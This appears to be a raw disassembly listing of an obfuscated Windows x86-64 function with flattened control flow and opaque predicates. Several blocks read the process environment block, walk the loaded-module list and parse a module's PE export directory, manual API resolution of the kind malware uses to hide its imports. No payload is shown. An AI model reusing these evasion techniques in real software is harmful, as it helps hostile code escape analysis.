jmp 0x140008c80
mov eax, dword [rbp + 0x5c]
sub eax, 0x6fa8f4a
je 0x14000a65f
jmp 0x140008c93
mov eax, dword [rbp + 0x5c]
sub eax, 0xe713f06
je 0x14000b662
jmp 0x140008ca6
mov eax, dword [rbp + 0x5c]
sub eax, 0x11dd70bd
je 0x14000b88c
jmp 0x140008cb9
mov eax, dword [rbp + 0x5c]
sub eax, 0x13218490
je 0x14000a495
jmp 0x140008ccc
mov eax, dword [rbp + 0x5c]
sub eax, 0x1ff79b96
je 0x14000a7ff
jmp 0x140008cdf
mov eax, dword [rbp + 0x5c]
sub eax, 0x242e32b5
je 0x14000a80e
jmp 0x140008cf2
mov eax, dword [rbp + 0x5c]
sub eax, 0x25bdbd6b
je 0x14000b552
jmp 0x140008d05
mov eax, dword [rbp + 0x5c]
sub eax, 0x2bbd5ba8
je 0x14000a6de
jmp 0x140008d18
mov eax, dword [rbp + 0x5c]
sub eax, 0x3086b8a3
je 0x14000bb99
jmp 0x140008d2b
mov eax, dword [rbp + 0x5c]
sub eax, 0x33e3b6d9
je 0x14000b86e
jmp 0x140008d3e
mov eax, dword [rbp + 0x5c]
sub eax, 0x41d85520
je 0x14000a847
jmp 0x140008d51
mov eax, dword [rbp + 0x5c]
sub eax, 0x42fe6d0d
je 0x14000d094
jmp 0x140008d64
mov eax, dword [rbp + 0x5c]
sub eax, 0x44879a6a
je 0x14000ca74
jmp 0x140008d77
mov eax, dword [rbp + 0x5c]
sub eax, 0x480f306a
je 0x140008ef7
jmp 0x140008d8a
mov eax, dword [rbp + 0x5c]
sub eax, 0x4b875680
je 0x14000b850
jmp 0x140008d9d
mov eax, dword [rbp + 0x5c]
sub eax, 0x4c29e158
je 0x140008e73
jmp 0x140008db0
mov eax, dword [rbp + 0x5c]
sub eax, 0x4d73e031
je 0x14000a8b5
jmp 0x140008dc3
mov eax, dword [rbp + 0x5c]
sub eax, 0x512ba151
je 0x14000ca65
jmp 0x140008dd6
mov eax, dword [rbp + 0x5c]
sub eax, 0x51bd58ea
je 0x14000a534
jmp 0x140008de9
mov eax, dword [rbp + 0x5c]
sub eax, 0x5340d306
je 0x14000bc91
jmp 0x140008dfc
mov eax, dword [rbp + 0x5c]
sub eax, 0x53eddbc3
je 0x14000ccfb
jmp 0x140008e0f
mov eax, dword [rbp + 0x5c]
sub eax, 0x5db1c5dd
je 0x14000b824
jmp 0x140008e22
mov eax, dword [rbp + 0x5c]
sub eax, 0x625a7d38
je 0x14000b87d
jmp 0x140008e35
mov eax, dword [rbp + 0x5c]
sub eax, 0x6e732d6c
je 0x14000bc65
jmp 0x140008e48
mov eax, dword [rbp + 0x5c]
sub eax, 0x6ef1cf86
je 0x14000cd16
jmp 0x140008e5b
mov eax, dword [rbp + 0x5c]
sub eax, 0x7f7a4d1e
je 0x14000a4e7
jmp 0x140008e6e
jmp 0x14000d09e
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x7cc8fce4
sub edx, 1
sub edx, 0x7cc8fce4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5340d306
mov ecx, 0x480f306a
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x290], rax
lea rax, [rbp + 0xb20]
mov qword [rbp + 0x2f0], rax
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x2ec], 0xe677f171
mov eax, dword [rbp + 0x2ec]
mov dword [rbp + 0x58], eax
sub eax, 0xe677f171
je 0x140008f65
jmp 0x140008f4d
mov eax, dword [rbp + 0x58]
sub eax, 0x3603bf19
je 0x140009d8d
jmp 0x140008f60
jmp 0x140009d88
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x300], rax
mov ecx, dword [0x1400952dc]
mov eax, dword [0x1400952d8]
mov edx, ecx
add edx, 0x9863f4cc
sub edx, 1
sub edx, 0x9863f4cc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x74e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x74f], al
mov dword [rbp + 0x748], 0xcf21515d
mov eax, dword [rbp + 0x748]
mov dword [rbp + 0x54], eax
sub eax, 0xaa108aca
je 0x1400096ed
jmp 0x140008fd6
mov eax, dword [rbp + 0x54]
sub eax, 0xcbbc280b
je 0x140009d70
jmp 0x140008fe9
mov eax, dword [rbp + 0x54]
sub eax, 0xcf21515d
je 0x14000903a
jmp 0x140008ffc
mov eax, dword [rbp + 0x54]
sub eax, 0xd5f4819f
je 0x14000970d
jmp 0x14000900f
mov eax, dword [rbp + 0x54]
sub eax, 0x1e7fa646
je 0x1400096de
jmp 0x140009022
mov eax, dword [rbp + 0x54]
sub eax, 0x6592ea6f
je 0x14000909b
jmp 0x140009035
jmp 0x140009d6b
mov r11b, byte [rbp + 0x74e]
mov r10b, byte [rbp + 0x74f]
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd5f4819f
mov ecx, 0x6592ea6f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x748], eax
jmp 0x140009d6b
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
mov edx, ecx
add edx, 0x14dd3c49
sub edx, 1
sub edx, 0x14dd3c49
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x766], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x767], al
mov dword [rbp + 0x760], 0xa48de835
mov eax, dword [rbp + 0x760]
mov dword [rbp + 0x50], eax
sub eax, 0x9c2b8150
je 0x140009428
jmp 0x1400090fe
mov eax, dword [rbp + 0x50]
sub eax, 0xa48de835
je 0x14000919b
jmp 0x140009111
mov eax, dword [rbp + 0x50]
sub eax, 0xb0fd7152
je 0x14000963e
jmp 0x140009124
mov eax, dword [rbp + 0x50]
sub eax, 0xda39901f
je 0x1400094a7
jmp 0x140009137
mov eax, dword [rbp + 0x50]
sub eax, 0xf031f05e
je 0x1400093ab
jmp 0x14000914a
mov eax, dword [rbp + 0x50]
sub eax, 0x7c7b1c5
je 0x1400093ba
jmp 0x14000915d
mov eax, dword [rbp + 0x50]
sub eax, 0x1bd868cb
je 0x1400091ca
jmp 0x140009170
mov eax, dword [rbp + 0x50]
sub eax, 0x2380b7d9
je 0x1400093db
jmp 0x140009183
mov eax, dword [rbp + 0x50]
sub eax, 0x58729e44
je 0x14000964d
jmp 0x140009196
jmp 0x140009648
mov al, byte [rbp + 0x766]
mov cl, byte [rbp + 0x767]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x760], eax
jmp 0x140009648
mov rax, qword gs:[0x60]
mov qword [rbp + 0x978], rax
mov dword [rbp + 0x974], 0x830227b9
mov eax, dword [rbp + 0x974]
mov dword [rbp + 0x4c], eax
sub eax, 0x830227b9
je 0x14000924e
jmp 0x1400091fd
mov eax, dword [rbp + 0x4c]
sub eax, 0xb907d830
je 0x14000926b
jmp 0x140009210
mov eax, dword [rbp + 0x4c]
sub eax, 0xc6dbba3f
je 0x1400092ef
jmp 0x140009223
mov eax, dword [rbp + 0x4c]
sub eax, 0xcbd43faa
je 0x14000933c
jmp 0x140009236
mov eax, dword [rbp + 0x4c]
sub eax, 0xe6a730b5
je 0x14000934b
jmp 0x140009249
jmp 0x140009346
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov dword [rbp + 0x974], 0xb907d830
jmp 0x140009346
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
add edx, 0x64b47bef
sub edx, 1
sub edx, 0x64b47bef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x974], eax
jmp 0x140009346
mov eax, dword [0x1400952cc]
mov ecx, dword [0x1400952c8]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x974], eax
jmp 0x140009346
mov dword [rbp + 0x974], 0xc6dbba3f
jmp 0x1400091e4
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x768], rax
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
mov edx, eax
sub edx, 0xf2e5947a
sub edx, 1
add edx, 0xf2e5947a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0xf031f05e
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x760], eax
jmp 0x140009648
mov dword [rbp + 0x760], 0x7c7b1c5
jmp 0x140009648
mov rax, qword [rbp + 0x768]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x760], 0x2380b7d9
jmp 0x140009648
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x9c2b8150
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x760], eax
jmp 0x140009648
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x760], eax
jmp 0x140009648
mov rax, qword gs:[0x60]
mov qword [rbp + 0x990], rax
mov dword [rbp + 0x98c], 0x830227b9
mov eax, dword [rbp + 0x98c]
mov dword [rbp + 0x48], eax
sub eax, 0x830227b9
je 0x14000952b
jmp 0x1400094da
mov eax, dword [rbp + 0x48]
sub eax, 0xb907d830
je 0x140009548
jmp 0x1400094ed
mov eax, dword [rbp + 0x48]
sub eax, 0xc6dbba3f
je 0x140009595
jmp 0x140009500
mov eax, dword [rbp + 0x48]
sub eax, 0xcbd43faa
je 0x140009619
jmp 0x140009513
mov eax, dword [rbp + 0x48]
sub eax, 0xe6a730b5
je 0x140009628
jmp 0x140009526
jmp 0x140009623
mov rax, qword [rbp + 0x990]
mov qword [rbp + 0x998], rax
mov dword [rbp + 0x98c], 0xb907d830
jmp 0x140009623
mov eax, dword [0x1400952cc]
mov ecx, dword [0x1400952c8]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x98c], eax
jmp 0x140009623
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
sub edx, 0x35981f94
sub edx, 1
add edx, 0x35981f94
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x98c], eax
jmp 0x140009623
mov dword [rbp + 0x98c], 0xc6dbba3f
jmp 0x1400094c1
mov rax, qword [rbp + 0x998]
mov dword [rbp + 0x760], 0x1bd868cb
jmp 0x140009648
mov dword [rbp + 0x760], 0x9c2b8150
jmp 0x1400090e5
mov rax, qword [rbp + 0x770]
add rax, 0x10
mov qword [rbp + 0x750], rax
mov ecx, dword [0x1400952dc]
mov eax, dword [0x1400952d8]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd5f4819f
mov ecx, 0x1e7fa646
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x748], eax
jmp 0x140009d6b
mov dword [rbp + 0x748], 0xaa108aca
jmp 0x140009d6b
mov rax, qword [rbp + 0x750]
mov rax, qword [rax]
mov qword [rbp + 0x758], rax
mov dword [rbp + 0x748], 0xcbbc280b
jmp 0x140009d6b
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
mov edx, ecx
add edx, 0x7da2c9fe
sub edx, 1
sub edx, 0x7da2c9fe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x77e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x77f], al
mov dword [rbp + 0x778], 0xa48de835
mov eax, dword [rbp + 0x778]
mov dword [rbp + 0x44], eax
sub eax, 0x9c2b8150
je 0x140009b35
jmp 0x140009770
mov eax, dword [rbp + 0x44]
sub eax, 0xa48de835
je 0x14000980d
jmp 0x140009783
mov eax, dword [rbp + 0x44]
sub eax, 0xb0fd7152
je 0x140009d4b
jmp 0x140009796
mov eax, dword [rbp + 0x44]
sub eax, 0xda39901f
je 0x140009bb4
jmp 0x1400097a9
mov eax, dword [rbp + 0x44]
sub eax, 0xf031f05e
je 0x140009ab3
jmp 0x1400097bc
mov eax, dword [rbp + 0x44]
sub eax, 0x7c7b1c5
je 0x140009ac2
jmp 0x1400097cf
mov eax, dword [rbp + 0x44]
sub eax, 0x1bd868cb
je 0x14000986e
jmp 0x1400097e2
mov eax, dword [rbp + 0x44]
sub eax, 0x2380b7d9
je 0x140009ae3
jmp 0x1400097f5
mov eax, dword [rbp + 0x44]
sub eax, 0x58729e44
je 0x140009d5a
jmp 0x140009808
jmp 0x140009d55
mov r11b, byte [rbp + 0x77e]
mov r10b, byte [rbp + 0x77f]
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x778], eax
jmp 0x140009d55
mov rax, qword gs:[0x60]
mov qword [rbp + 0x948], rax
mov dword [rbp + 0x944], 0x830227b9
mov eax, dword [rbp + 0x944]
mov dword [rbp + 0x40], eax
sub eax, 0x830227b9
je 0x1400098f2
jmp 0x1400098a1
mov eax, dword [rbp + 0x40]
sub eax, 0xb907d830
je 0x14000990f
jmp 0x1400098b4
mov eax, dword [rbp + 0x40]
sub eax, 0xc6dbba3f
je 0x14000998e
jmp 0x1400098c7
mov eax, dword [rbp + 0x40]
sub eax, 0xcbd43faa
je 0x140009a12
jmp 0x1400098da
mov eax, dword [rbp + 0x40]
sub eax, 0xe6a730b5
je 0x140009a21
jmp 0x1400098ed
jmp 0x140009a1c
mov rax, qword [rbp + 0x948]
mov qword [rbp + 0x950], rax
mov dword [rbp + 0x944], 0xb907d830
jmp 0x140009a1c
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x944], eax
jmp 0x140009a1c
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
add edx, 0x375598ac
sub edx, 1
sub edx, 0x375598ac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x944], eax
jmp 0x140009a1c
mov dword [rbp + 0x944], 0xc6dbba3f
jmp 0x140009888
mov rax, qword [rbp + 0x950]
mov qword [rbp + 0x780], rax
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
mov edx, ecx
add edx, 0x48c989b9
sub edx, 1
sub edx, 0x48c989b9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0xf031f05e
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x778], eax
jmp 0x140009d55
mov dword [rbp + 0x778], 0x7c7b1c5
jmp 0x140009d55
mov rax, qword [rbp + 0x780]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x778], 0x2380b7d9
jmp 0x140009d55
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
mov edx, eax
sub edx, 0xc5c1fe2b
sub edx, 1
add edx, 0xc5c1fe2b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x9c2b8150
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x778], eax
jmp 0x140009d55
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x778], eax
jmp 0x140009d55
mov rax, qword gs:[0x60]
mov qword [rbp + 0x960], rax
mov dword [rbp + 0x95c], 0x830227b9
mov eax, dword [rbp + 0x95c]
mov dword [rbp + 0x3c], eax
sub eax, 0x830227b9
je 0x140009c38
jmp 0x140009be7
mov eax, dword [rbp + 0x3c]
sub eax, 0xb907d830
je 0x140009c55
jmp 0x140009bfa
mov eax, dword [rbp + 0x3c]
sub eax, 0xc6dbba3f
je 0x140009ca2
jmp 0x140009c0d
mov eax, dword [rbp + 0x3c]
sub eax, 0xcbd43faa
je 0x140009d26
jmp 0x140009c20
mov eax, dword [rbp + 0x3c]
sub eax, 0xe6a730b5
je 0x140009d35
jmp 0x140009c33
jmp 0x140009d30
mov rax, qword [rbp + 0x960]
mov qword [rbp + 0x968], rax
mov dword [rbp + 0x95c], 0xb907d830
jmp 0x140009d30
mov eax, dword [0x1400952cc]
mov ecx, dword [0x1400952c8]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x95c], eax
jmp 0x140009d30
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
sub edx, 0x9428d3f8
sub edx, 1
add edx, 0x9428d3f8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x95c], eax
jmp 0x140009d30
mov dword [rbp + 0x95c], 0xc6dbba3f
jmp 0x140009bce
mov rax, qword [rbp + 0x968]
mov dword [rbp + 0x778], 0x1bd868cb
jmp 0x140009d55
mov dword [rbp + 0x778], 0x9c2b8150
jmp 0x140009757
mov rax, qword [rbp + 0x788]
mov dword [rbp + 0x748], 0x6592ea6f
jmp 0x140008fbd
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x2ec], 0x3603bf19
jmp 0x140008f34
mov rax, qword [rbp + 0x300]
mov rcx, qword [rbp + 0x308]
mov qword [rax], rcx
mov rax, qword [rbp + 0x2f8]
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x7941f59e
sub edx, 1
sub edx, 0x7941f59e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5340d306
mov ecx, 0xafa565de
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xb7d3f55c
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xc6364616
jmp 0x14000d09e
mov rax, qword [rbp + 0xb20]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x298], rax
mov dword [rbp + 0x284], 0xe7954122
jmp 0x14000d09e
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x28], rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x38c], 0x97412bee
mov eax, dword [rbp + 0x38c]
mov dword [rbp + 0x24], eax
sub eax, 0x97412bee
je 0x140009eee
jmp 0x140009e9d
mov eax, dword [rbp + 0x24]
sub eax, 0x1155d3a3
je 0x140009f3b
jmp 0x140009eb0
mov eax, dword [rbp + 0x24]
sub eax, 0x2b617b65
je 0x140009fba
jmp 0x140009ec3
mov eax, dword [rbp + 0x24]
sub eax, 0x3b3d1822
je 0x14000a21d
jmp 0x140009ed6
mov eax, dword [rbp + 0x24]
sub eax, 0x4b2b96ad
je 0x14000a126
jmp 0x140009ee9
jmp 0x14000a218
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, qword [rbp + 0x28]
mov rcx, rsp
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x398], rax
lea rax, [rbp + 0xb08]
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x3a8], rax
mov dword [rbp + 0x38c], 0x1155d3a3
jmp 0x14000a218
mov ecx, dword [0x1400952c4]
mov eax, dword [0x1400952c0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b2b96ad
mov ecx, 0x2b617b65
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x38c], eax
jmp 0x14000a218
mov rax, qword [rbp + 0x3a8]
mov rcx, qword [rbp + 0x398]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x9f8], rax
mov rax, qword [rbp + 0x9f8]
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x9f8]
mov eax, dword [rax + 0x3c]
mov dword [rbp + 0xa0c], eax
mov dword [rbp + 0x9f4], 0xaba3fd2c
mov eax, dword [rbp + 0x9f4]
mov dword [rbp + 0x20], eax
sub eax, 0x9ad2e03e
je 0x14000a051
jmp 0x14000a01b
mov eax, dword [rbp + 0x20]
sub eax, 0xaba3fd2c
je 0x14000a033
jmp 0x14000a02e
jmp 0x14000a04c
mov eax, dword [rbp + 0xa0c]
cdqe
mov qword [rbp + 0xa10], rax
mov dword [rbp + 0x9f4], 0x9ad2e03e
jmp 0x14000a002
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [rbp + 0xa10]
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x398]
mov rax, qword [rbp + 0x3a0]
mov eax, dword [rax]
add rcx, rax
mov rax, qword [rbp + 0x3a8]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x3a0]
mov ecx, dword [rax + 4]
mov rax, qword [rbp + 0x3a8]
mov dword [rax], ecx
mov ecx, dword [0x1400952c4]
mov eax, dword [0x1400952c0]
mov edx, ecx
sub edx, 0x1f12c90c
sub edx, 1
add edx, 0x1f12c90c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b2b96ad
mov ecx, 0x3b3d1822
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x38c], eax
jmp 0x14000a218
mov rax, qword [rbp + 0x3a8]
mov rcx, qword [rbp + 0x398]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0xa28], rax
mov rax, qword [rbp + 0xa20]
mov eax, dword [rax + 0x3c]
mov dword [rbp + 0xa34], eax
mov dword [rbp + 0xa1c], 0xaba3fd2c
mov eax, dword [rbp + 0xa1c]
mov dword [rbp + 0x1c], eax
sub eax, 0x9ad2e03e
je 0x14000a1bd
jmp 0x14000a187
mov eax, dword [rbp + 0x1c]
sub eax, 0xaba3fd2c
je 0x14000a19f
jmp 0x14000a19a
jmp 0x14000a1b8
